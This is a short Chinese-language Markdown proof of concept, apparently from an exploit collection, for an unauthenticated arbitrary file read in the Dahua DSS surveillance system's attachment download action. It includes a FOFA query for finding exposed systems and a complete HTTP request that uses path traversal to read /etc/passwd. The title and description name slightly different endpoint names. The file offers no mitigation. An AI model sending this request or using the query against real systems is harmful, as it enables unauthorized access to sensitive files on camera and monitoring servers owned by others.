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23 lines
851 B
Markdown
23 lines
851 B
Markdown
# 大华DSS数字监控系统attachment_downloadAtt.action任意文件读取漏洞
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大华DSS数字监控系统 attachment_downloadByUrlAtt.action接口存在任意文件读取漏洞，未经身份验证的远程攻击者 可以利用此漏洞获取系统内部敏感文件信息，使系统处于极不安全的状态。
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## fofa
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```java
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app="dahua-DSS"
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```
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## poc
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```javascript
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GET /portal/attachment_downloadAtt.action?filePath=../../../../../../etc/passwd HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Connection: close
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```
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